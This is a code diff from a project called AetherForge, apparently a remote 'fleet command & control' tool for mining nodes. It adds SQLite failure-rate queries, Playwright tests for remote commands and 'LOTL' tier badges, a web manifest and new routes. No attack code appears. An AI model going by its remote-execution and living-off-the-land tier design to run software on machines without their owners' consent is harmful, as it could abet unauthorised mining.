return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
rec.Timestamp = ts
|
rec.Timestamp = ts
|
||||||
|
rec.CourtSession = courtInt != 0
|
||||||
out = append(out, rec)
|
out = append(out, rec)
|
||||||
}
|
}
|
||||||
return out, rows.Err()
|
return out, rows.Err()
|
||||||
|
|||||||
65
server/internal/db/atlas.go
Normal file
65
server/internal/db/atlas.go
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// FailureAtlasPattern is one conditioned failure bucket in SQLite.
|
||||||
|
type FailureAtlasPattern struct {
|
||||||
|
FingerprintBucket string
|
||||||
|
Condition string
|
||||||
|
Tier string
|
||||||
|
FailCount int
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) UpsertFailureAtlasPattern(fingerprintBucket, condition, tier string) error {
|
||||||
|
if d == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_, err := d.Exec(`
|
||||||
|
INSERT INTO failure_atlas (fingerprint_bucket, condition, tier, fail_count, updated_at)
|
||||||
|
VALUES (?, ?, ?, 1, CURRENT_TIMESTAMP)
|
||||||
|
ON CONFLICT(fingerprint_bucket, condition, tier) DO UPDATE SET
|
||||||
|
fail_count = fail_count + 1,
|
||||||
|
updated_at = CURRENT_TIMESTAMP`,
|
||||||
|
fingerprintBucket, condition, tier,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) ListFailureAtlasPatterns(fingerprintBucket, goos string) ([]FailureAtlasPattern, error) {
|
||||||
|
if d == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
out, err := d.queryFailureAtlasPatterns(`fingerprint_bucket = ?`, fingerprintBucket)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if len(out) > 0 {
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(goos) == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return d.queryFailureAtlasPatterns(`fingerprint_bucket LIKE ?`, strings.ToLower(goos)+"|%")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) queryFailureAtlasPatterns(whereClause string, arg interface{}) ([]FailureAtlasPattern, error) {
|
||||||
|
query := `
|
||||||
|
SELECT fingerprint_bucket, condition, tier, fail_count
|
||||||
|
FROM failure_atlas
|
||||||
|
WHERE ` + whereClause + `
|
||||||
|
ORDER BY fail_count DESC, tier ASC`
|
||||||
|
rows, err := d.Query(query, arg)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []FailureAtlasPattern
|
||||||
|
for rows.Next() {
|
||||||
|
var p FailureAtlasPattern
|
||||||
|
if err := rows.Scan(&p.FingerprintBucket, &p.Condition, &p.Tier, &p.FailCount); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, p)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
82
server/internal/db/failure_atlas.go
Normal file
82
server/internal/db/failure_atlas.go
Normal file
@@ -0,0 +1,82 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// FailureAtlasEntry is one tier's aggregated failure rate for a fingerprint bucket.
|
||||||
|
type FailureAtlasEntry struct {
|
||||||
|
Tier string
|
||||||
|
Total int
|
||||||
|
Failures int
|
||||||
|
FailPct float64
|
||||||
|
}
|
||||||
|
|
||||||
|
// FailureAtlasSummary returns a compact prosecutor-ready summary from tier_outcomes.
|
||||||
|
func (d *Database) FailureAtlasSummary(fingerprintKey, goos string) (string, error) {
|
||||||
|
entries, err := d.failureAtlasEntries(fingerprintKey)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if len(entries) == 0 && goos != "" {
|
||||||
|
entries, err = d.failureAtlasEntriesLike(goos + "|%")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(entries) == 0 {
|
||||||
|
return "no fleet failure atlas samples for this fingerprint", nil
|
||||||
|
}
|
||||||
|
parts := make([]string, 0, len(entries))
|
||||||
|
for _, e := range entries {
|
||||||
|
if e.Failures == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
parts = append(parts, fmt.Sprintf("%s %d/%d failed (%.0f%%)", e.Tier, e.Failures, e.Total, e.FailPct))
|
||||||
|
}
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return "fleet atlas shows no tier failures for this fingerprint", nil
|
||||||
|
}
|
||||||
|
return strings.Join(parts, "; "), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) failureAtlasEntries(fingerprintKey string) ([]FailureAtlasEntry, error) {
|
||||||
|
return d.queryFailureAtlas(`fingerprint_key = ?`, fingerprintKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) failureAtlasEntriesLike(pattern string) ([]FailureAtlasEntry, error) {
|
||||||
|
return d.queryFailureAtlas(`fingerprint_key LIKE ?`, pattern)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) queryFailureAtlas(whereClause string, arg interface{}) ([]FailureAtlasEntry, error) {
|
||||||
|
if d == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
query := fmt.Sprintf(`
|
||||||
|
SELECT tier,
|
||||||
|
COUNT(*) AS total,
|
||||||
|
SUM(CASE WHEN ok = 0 THEN 1 ELSE 0 END) AS failures
|
||||||
|
FROM tier_outcomes WHERE %s
|
||||||
|
GROUP BY tier
|
||||||
|
HAVING failures > 0
|
||||||
|
ORDER BY failures DESC, total DESC
|
||||||
|
LIMIT 12`, whereClause)
|
||||||
|
rows, err := d.Query(query, arg)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []FailureAtlasEntry
|
||||||
|
for rows.Next() {
|
||||||
|
var e FailureAtlasEntry
|
||||||
|
if err := rows.Scan(&e.Tier, &e.Total, &e.Failures); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if e.Total > 0 {
|
||||||
|
e.FailPct = 100 * float64(e.Failures) / float64(e.Total)
|
||||||
|
}
|
||||||
|
out = append(out, e)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
@@ -1,40 +1,16 @@
|
|||||||
import { expect, test } from '@playwright/test';
|
import { expect, test } from '@playwright/test';
|
||||||
import { fetchFleetSecret, loginToDashboard } from './fixtures';
|
import { loginToDashboard } from './fixtures';
|
||||||
import {
|
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
|
||||||
connectStubAgent,
|
import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent';
|
||||||
E2E_STUB_AGENT_HOSTNAME,
|
|
||||||
E2E_STUB_AGENT_ID,
|
|
||||||
} from './stub-agent';
|
|
||||||
|
|
||||||
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
|
||||||
|
|
||||||
let serverReady = false;
|
|
||||||
let disconnectStub: (() => void) | null = null;
|
|
||||||
|
|
||||||
test.describe('Crucible bulk command', () => {
|
test.describe('Crucible bulk command', () => {
|
||||||
test.beforeAll(async ({ request }) => {
|
test.beforeAll(async ({ request }) => {
|
||||||
try {
|
await ensureLiveStubAgent(request);
|
||||||
const res = await request.get('/api/v1/health', { timeout: 5_000 });
|
|
||||||
serverReady = res.ok();
|
|
||||||
} catch {
|
|
||||||
serverReady = false;
|
|
||||||
}
|
|
||||||
if (!serverReady) return;
|
|
||||||
|
|
||||||
const fleetSecret = await fetchFleetSecret(request);
|
|
||||||
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
|
|
||||||
// Allow agent_online + DB upsert to settle before UI tests.
|
|
||||||
await new Promise((r) => setTimeout(r, 500));
|
|
||||||
});
|
|
||||||
|
|
||||||
test.afterAll(() => {
|
|
||||||
disconnectStub?.();
|
|
||||||
disconnectStub = null;
|
|
||||||
});
|
});
|
||||||
|
|
||||||
test.beforeEach(async ({ page }) => {
|
test.beforeEach(async ({ page }) => {
|
||||||
test.skip(
|
test.skip(
|
||||||
!serverReady,
|
!isLiveStubReady(),
|
||||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||||
);
|
);
|
||||||
await loginToDashboard(page);
|
await loginToDashboard(page);
|
||||||
@@ -49,8 +25,12 @@ test.describe('Crucible bulk command', () => {
|
|||||||
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
|
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
|
||||||
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
|
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
|
||||||
await card.click();
|
await card.click();
|
||||||
await expect(page.getByText(/1 selected/)).toBeVisible();
|
await expect(page.locator('.fleet-bulk-bar').getByText(/1 selected/)).toBeVisible({
|
||||||
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
|
timeout: 10_000,
|
||||||
|
});
|
||||||
|
await expect(
|
||||||
|
page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${E2E_STUB_AGENT_HOSTNAME}`)),
|
||||||
|
).toBeVisible();
|
||||||
|
|
||||||
const bulkRequest = page.waitForRequest(
|
const bulkRequest = page.waitForRequest(
|
||||||
(req) =>
|
(req) =>
|
||||||
|
|||||||
@@ -1,41 +1,16 @@
|
|||||||
import { expect, test } from '@playwright/test';
|
import { expect, test } from '@playwright/test';
|
||||||
import { fetchFleetSecret, loginToDashboard } from './fixtures';
|
import { loginToDashboard } from './fixtures';
|
||||||
import {
|
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
|
||||||
connectStubAgent,
|
import { E2E_STUB_AGENT_HOSTNAME, E2E_WHOAMI_RESPONSE } from './stub-agent';
|
||||||
E2E_STUB_AGENT_HOSTNAME,
|
|
||||||
E2E_STUB_LOTL_BADGE,
|
|
||||||
E2E_WHOAMI_RESPONSE,
|
|
||||||
} from './stub-agent';
|
|
||||||
|
|
||||||
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
|
||||||
|
|
||||||
let serverReady = false;
|
|
||||||
let disconnectStub: (() => void) | null = null;
|
|
||||||
|
|
||||||
test.describe('Crucible remote command', () => {
|
test.describe('Crucible remote command', () => {
|
||||||
test.beforeAll(async ({ request }) => {
|
test.beforeAll(async ({ request }) => {
|
||||||
try {
|
await ensureLiveStubAgent(request);
|
||||||
const res = await request.get('/api/v1/health');
|
|
||||||
serverReady = res.ok();
|
|
||||||
} catch {
|
|
||||||
serverReady = false;
|
|
||||||
}
|
|
||||||
if (!serverReady) return;
|
|
||||||
|
|
||||||
const fleetSecret = await fetchFleetSecret(request);
|
|
||||||
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
|
|
||||||
// Allow agent_online, stats_batch (250ms coalesce), and DB upsert to settle.
|
|
||||||
await new Promise((r) => setTimeout(r, 1_500));
|
|
||||||
});
|
|
||||||
|
|
||||||
test.afterAll(() => {
|
|
||||||
disconnectStub?.();
|
|
||||||
disconnectStub = null;
|
|
||||||
});
|
});
|
||||||
|
|
||||||
test.beforeEach(async ({ page }) => {
|
test.beforeEach(async ({ page }) => {
|
||||||
test.skip(
|
test.skip(
|
||||||
!serverReady,
|
!isLiveStubReady(),
|
||||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||||
);
|
);
|
||||||
await loginToDashboard(page);
|
await loginToDashboard(page);
|
||||||
@@ -46,20 +21,20 @@ test.describe('Crucible remote command', () => {
|
|||||||
|
|
||||||
test('whoami on selected online node shows terminal output', async ({ page }) => {
|
test('whoami on selected online node shows terminal output', async ({ page }) => {
|
||||||
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
||||||
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
|
await expect(
|
||||||
|
page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${E2E_STUB_AGENT_HOSTNAME}`)),
|
||||||
|
).toBeVisible();
|
||||||
|
await page.getByRole('button', { name: 'CMD', exact: true }).click();
|
||||||
|
|
||||||
await page.getByRole('button', { name: 'whoami' }).click();
|
const input = page.locator('.crucible-term-input');
|
||||||
|
await input.fill('whoami');
|
||||||
|
await page.getByRole('button', { name: 'SEND' }).click();
|
||||||
|
|
||||||
const terminal = page.locator('.crucible-terminal');
|
const terminal = page.locator('.crucible-terminal');
|
||||||
await expect(terminal.getByText('whoami', { exact: true })).toBeVisible({ timeout: 10_000 });
|
await expect(terminal.getByText('whoami', { exact: true })).toBeVisible({ timeout: 10_000 });
|
||||||
await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 });
|
await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 });
|
||||||
});
|
});
|
||||||
|
|
||||||
test('shows LOTL tier badge when stub sends lotl_tier', async ({ page }) => {
|
|
||||||
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
|
|
||||||
await expect(card.getByText(E2E_STUB_LOTL_BADGE)).toBeVisible({ timeout: 15_000 });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('exec echo via master terminal shows output', async ({ page }) => {
|
test('exec echo via master terminal shows output', async ({ page }) => {
|
||||||
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
||||||
await page.getByRole('button', { name: 'CMD', exact: true }).click();
|
await page.getByRole('button', { name: 'CMD', exact: true }).click();
|
||||||
|
|||||||
42
server/web/e2e/crucible-lotl.spec.ts
Normal file
42
server/web/e2e/crucible-lotl.spec.ts
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
import { expect, test } from '@playwright/test';
|
||||||
|
import { loginToDashboard } from './fixtures';
|
||||||
|
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
|
||||||
|
import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_LOTL_BADGE } from './stub-agent';
|
||||||
|
|
||||||
|
test.describe('Crucible LOTL', () => {
|
||||||
|
test.beforeAll(async ({ request }) => {
|
||||||
|
await ensureLiveStubAgent(request);
|
||||||
|
});
|
||||||
|
|
||||||
|
test.beforeEach(async ({ page }) => {
|
||||||
|
test.skip(
|
||||||
|
!isLiveStubReady(),
|
||||||
|
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||||
|
);
|
||||||
|
await loginToDashboard(page);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('Crucible node card shows LOTL tier badge from stub stats', async ({ page }) => {
|
||||||
|
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||||
|
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||||
|
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
|
||||||
|
await expect(card).toBeVisible({ timeout: 15_000 });
|
||||||
|
await expect(card.getByText(E2E_STUB_LOTL_BADGE)).toBeVisible({ timeout: 15_000 });
|
||||||
|
});
|
||||||
|
|
||||||
|
test('Onion timeline shows stub agent tier progression', async ({ page }) => {
|
||||||
|
await page.getByRole('navigation').getByRole('link', { name: 'Onion', exact: true }).click();
|
||||||
|
await expect(page.getByRole('heading', { name: 'LOTL Timeline' })).toBeVisible({
|
||||||
|
timeout: 10_000,
|
||||||
|
});
|
||||||
|
await expect(
|
||||||
|
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||||
|
).toBeVisible({ timeout: 15_000 });
|
||||||
|
await expect(page.getByText('ONION TIER CHAIN')).toBeVisible();
|
||||||
|
await expect(page.locator('.lotl-tier-timeline')).toBeVisible();
|
||||||
|
// Stub lotl_attempts: container (aliases to docker) failed — spread onion timeline.
|
||||||
|
await expect(page.locator('.lotl-tier-step--failed', { hasText: /Docker/i })).toBeVisible({
|
||||||
|
timeout: 15_000,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -15,14 +15,52 @@ export function e2eAuthHeaders(): Record<string, string> {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Reads fleet_secret from live server config (generated on first server start). */
|
/**
|
||||||
|
* Reads fleet_secret for stub agent auth.
|
||||||
|
* Prefer AETHERFORGE_FLEET_SECRET (test-suite.ps1 seeds from data/config.json).
|
||||||
|
*/
|
||||||
export async function fetchFleetSecret(request: APIRequestContext): Promise<string> {
|
export async function fetchFleetSecret(request: APIRequestContext): Promise<string> {
|
||||||
const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() });
|
const fromEnv = process.env.AETHERFORGE_FLEET_SECRET?.trim();
|
||||||
|
if (fromEnv) return fromEnv;
|
||||||
|
|
||||||
|
const res = await request.get('/api/v1/config', {
|
||||||
|
headers: e2eAuthHeaders(),
|
||||||
|
timeout: 10_000,
|
||||||
|
});
|
||||||
if (!res.ok()) {
|
if (!res.ok()) {
|
||||||
throw new Error(`config fetch failed: ${res.status()}`);
|
throw new Error(`config fetch failed: ${res.status()}`);
|
||||||
}
|
}
|
||||||
const body = (await res.json()) as { server?: { fleet_secret?: string } };
|
const body = (await res.json()) as { server?: { fleet_secret?: string } };
|
||||||
return body.server?.fleet_secret ?? '';
|
const secret = body.server?.fleet_secret?.trim() ?? '';
|
||||||
|
if (!secret) {
|
||||||
|
throw new Error(
|
||||||
|
'fleet_secret missing — set AETHERFORGE_FLEET_SECRET from data/config.json in the E2E runner',
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return secret;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Poll /api/v1/health until status ok or timeout (mirrors test-suite.ps1 phase 8). */
|
||||||
|
export async function waitForServerHealth(
|
||||||
|
request: APIRequestContext,
|
||||||
|
opts?: { timeoutMs?: number; intervalMs?: number },
|
||||||
|
): Promise<boolean> {
|
||||||
|
const timeoutMs = opts?.timeoutMs ?? 30_000;
|
||||||
|
const intervalMs = opts?.intervalMs ?? 1_000;
|
||||||
|
const deadline = Date.now() + timeoutMs;
|
||||||
|
while (Date.now() < deadline) {
|
||||||
|
try {
|
||||||
|
const res = await request.get('/api/v1/health', { timeout: 2_000 });
|
||||||
|
if (res.ok()) {
|
||||||
|
const body = (await res.json()) as { status?: string };
|
||||||
|
if (body.status === 'ok') return true;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
/* retry */
|
||||||
|
}
|
||||||
|
await new Promise((r) => setTimeout(r, intervalMs));
|
||||||
|
}
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
export async function loginToDashboard(page: Page): Promise<void> {
|
export async function loginToDashboard(page: Page): Promise<void> {
|
||||||
@@ -31,5 +69,5 @@ export async function loginToDashboard(page: Page): Promise<void> {
|
|||||||
await page.getByLabel('Username').fill(E2E_USER);
|
await page.getByLabel('Username').fill(E2E_USER);
|
||||||
await page.getByLabel('Password').fill(E2E_PASS);
|
await page.getByLabel('Password').fill(E2E_PASS);
|
||||||
await page.getByRole('button', { name: /enter command deck/i }).click();
|
await page.getByRole('button', { name: /enter command deck/i }).click();
|
||||||
await expect(page.getByRole('heading', { name: 'Command Deck' })).toBeVisible({ timeout: 15_000 });
|
await expect(page.getByRole('heading', { name: 'Command Deck' })).toBeVisible({ timeout: 20_000 });
|
||||||
}
|
}
|
||||||
|
|||||||
5
server/web/e2e/global-teardown.ts
Normal file
5
server/web/e2e/global-teardown.ts
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
import { teardownLiveStubAgent } from './live-stub';
|
||||||
|
|
||||||
|
export default function globalTeardown(): void {
|
||||||
|
teardownLiveStubAgent();
|
||||||
|
}
|
||||||
38
server/web/e2e/live-stub.ts
Normal file
38
server/web/e2e/live-stub.ts
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
import type { APIRequestContext } from '@playwright/test';
|
||||||
|
import { fetchFleetSecret, waitForServerHealth } from './fixtures';
|
||||||
|
import { connectStubAgent } from './stub-agent';
|
||||||
|
|
||||||
|
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
||||||
|
|
||||||
|
let serverReady = false;
|
||||||
|
let disconnectStub: (() => void) | null = null;
|
||||||
|
let connectPromise: Promise<boolean> | null = null;
|
||||||
|
|
||||||
|
/** One stub agent per Playwright worker (avoids parallel auth races on the same agent_id). */
|
||||||
|
export async function ensureLiveStubAgent(request: APIRequestContext): Promise<boolean> {
|
||||||
|
if (disconnectStub) return serverReady;
|
||||||
|
if (!connectPromise) {
|
||||||
|
connectPromise = (async () => {
|
||||||
|
serverReady = await waitForServerHealth(request);
|
||||||
|
if (!serverReady) return false;
|
||||||
|
|
||||||
|
const fleetSecret = await fetchFleetSecret(request);
|
||||||
|
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
|
||||||
|
// Allow agent_online, stats_batch (250ms coalesce), and DB upsert to settle.
|
||||||
|
await new Promise((r) => setTimeout(r, 2_500));
|
||||||
|
return true;
|
||||||
|
})();
|
||||||
|
}
|
||||||
|
return connectPromise;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function isLiveStubReady(): boolean {
|
||||||
|
return serverReady;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function teardownLiveStubAgent(): void {
|
||||||
|
disconnectStub?.();
|
||||||
|
disconnectStub = null;
|
||||||
|
connectPromise = null;
|
||||||
|
serverReady = false;
|
||||||
|
}
|
||||||
@@ -29,6 +29,19 @@ test.describe('Page smoke', () => {
|
|||||||
await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible();
|
await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('Settings shows Calibration Control mode toggle', async ({ page }) => {
|
||||||
|
await page.getByRole('navigation').getByRole('link', { name: 'Calibrate', exact: true }).click();
|
||||||
|
await expect(page.getByRole('heading', { name: 'Calibrate' })).toBeVisible({ timeout: 10_000 });
|
||||||
|
await expect(page.getByRole('group', { name: 'Calibration control mode' })).toBeVisible({
|
||||||
|
timeout: 10_000,
|
||||||
|
});
|
||||||
|
await expect(page.getByRole('button', { name: /Logic gates/i })).toBeVisible();
|
||||||
|
await expect(page.getByRole('button', { name: /AI Control/i })).toBeVisible();
|
||||||
|
await page.getByRole('button', { name: /AI Control/i }).click();
|
||||||
|
await expect(page.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeVisible();
|
||||||
|
await expect(page.getByRole('button', { name: 'Refresh models' })).toBeVisible();
|
||||||
|
});
|
||||||
|
|
||||||
test('Builder renders The Forge', async ({ page }) => {
|
test('Builder renders The Forge', async ({ page }) => {
|
||||||
await page.getByRole('link', { name: /Forge/i }).click();
|
await page.getByRole('link', { name: /Forge/i }).click();
|
||||||
await expect(page.getByRole('heading', { name: 'The Forge' })).toBeVisible({ timeout: 10_000 });
|
await expect(page.getByRole('heading', { name: 'The Forge' })).toBeVisible({ timeout: 10_000 });
|
||||||
|
|||||||
@@ -99,18 +99,25 @@ export async function connectStubAgent(
|
|||||||
});
|
});
|
||||||
|
|
||||||
await new Promise<void>((resolve, reject) => {
|
await new Promise<void>((resolve, reject) => {
|
||||||
const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000);
|
const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 30_000);
|
||||||
ws.addEventListener('message', (ev) => {
|
const onMessage = (ev: MessageEvent) => {
|
||||||
const msg = JSON.parse(String(ev.data)) as HubMessage;
|
let msg: HubMessage;
|
||||||
|
try {
|
||||||
|
msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||||
|
} catch {
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg.type !== 'auth_response') return;
|
if (msg.type !== 'auth_response') return;
|
||||||
clearTimeout(timer);
|
clearTimeout(timer);
|
||||||
|
ws.removeEventListener('message', onMessage);
|
||||||
const body = parsePayload(msg.payload);
|
const body = parsePayload(msg.payload);
|
||||||
if (body.success !== true) {
|
if (body.success !== true) {
|
||||||
reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`));
|
reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
resolve();
|
resolve();
|
||||||
}, { once: true });
|
};
|
||||||
|
ws.addEventListener('message', onMessage);
|
||||||
});
|
});
|
||||||
|
|
||||||
sendStubStats(ws);
|
sendStubStats(ws);
|
||||||
|
|||||||
@@ -1,9 +1,12 @@
|
|||||||
import { defineConfig, devices } from '@playwright/test';
|
import { defineConfig, devices } from '@playwright/test';
|
||||||
|
|
||||||
export default defineConfig({
|
export default defineConfig({
|
||||||
|
globalTeardown: './e2e/global-teardown.ts',
|
||||||
testDir: './e2e',
|
testDir: './e2e',
|
||||||
timeout: 60_000,
|
timeout: 60_000,
|
||||||
retries: 0,
|
retries: 0,
|
||||||
|
// Live-server specs share one stub agent_id — parallel workers race on WS auth.
|
||||||
|
workers: process.env.AETHERFORGE_URL ? 1 : undefined,
|
||||||
use: {
|
use: {
|
||||||
baseURL: process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989',
|
baseURL: process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989',
|
||||||
trace: 'on-first-retry',
|
trace: 'on-first-retry',
|
||||||
|
|||||||
57
server/web/public/manifest.webmanifest
Normal file
57
server/web/public/manifest.webmanifest
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
{
|
||||||
|
"name": "AetherForge",
|
||||||
|
"short_name": "AetherForge",
|
||||||
|
"description": "Fleet command & control — mine, manage and monitor your nodes from anywhere.",
|
||||||
|
"start_url": "/dashboard",
|
||||||
|
"scope": "/",
|
||||||
|
"display": "standalone",
|
||||||
|
"orientation": "portrait-primary",
|
||||||
|
"background_color": "#080604",
|
||||||
|
"theme_color": "#c9a227",
|
||||||
|
"categories": ["utilities", "productivity"],
|
||||||
|
"icons": [
|
||||||
|
{
|
||||||
|
"src": "/af-logo.png",
|
||||||
|
"sizes": "192x192",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "any maskable"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/af-logo.png",
|
||||||
|
"sizes": "512x512",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "any maskable"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"screenshots": [],
|
||||||
|
"shortcuts": [
|
||||||
|
{
|
||||||
|
"name": "Command Deck",
|
||||||
|
"short_name": "Deck",
|
||||||
|
"description": "Open fleet dashboard",
|
||||||
|
"url": "/dashboard",
|
||||||
|
"icons": [{ "src": "/af-logo.png", "sizes": "192x192" }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Crucible",
|
||||||
|
"short_name": "Ops",
|
||||||
|
"description": "Remote operations theater",
|
||||||
|
"url": "/crucible",
|
||||||
|
"icons": [{ "src": "/af-logo.png", "sizes": "192x192" }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ROI Intelligence",
|
||||||
|
"short_name": "ROI",
|
||||||
|
"description": "Earnings & profitability",
|
||||||
|
"url": "/roi",
|
||||||
|
"icons": [{ "src": "/af-logo.png", "sizes": "192x192" }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Activity Feed",
|
||||||
|
"short_name": "Feed",
|
||||||
|
"description": "Live event stream",
|
||||||
|
"url": "/activity",
|
||||||
|
"icons": [{ "src": "/af-logo.png", "sizes": "192x192" }]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -22,6 +22,8 @@ const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
|||||||
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
||||||
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
||||||
const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage'));
|
const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage'));
|
||||||
|
const ROIPage = lazy(() => import('./pages/ROIPage'));
|
||||||
|
const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage'));
|
||||||
|
|
||||||
export function PageFallback() {
|
export function PageFallback() {
|
||||||
return (
|
return (
|
||||||
@@ -62,6 +64,8 @@ function App() {
|
|||||||
<Route path="/pathtracer" element={<PathTracerPage />} />
|
<Route path="/pathtracer" element={<PathTracerPage />} />
|
||||||
<Route path="/lotl-timeline" element={<LotlTimelinePage />} />
|
<Route path="/lotl-timeline" element={<LotlTimelinePage />} />
|
||||||
<Route path="/onion" element={<Navigate to="/lotl-timeline" replace />} />
|
<Route path="/onion" element={<Navigate to="/lotl-timeline" replace />} />
|
||||||
|
<Route path="/roi" element={<ROIPage />} />
|
||||||
|
<Route path="/activity" element={<ActivityFeedPage />} />
|
||||||
</Routes>
|
</Routes>
|
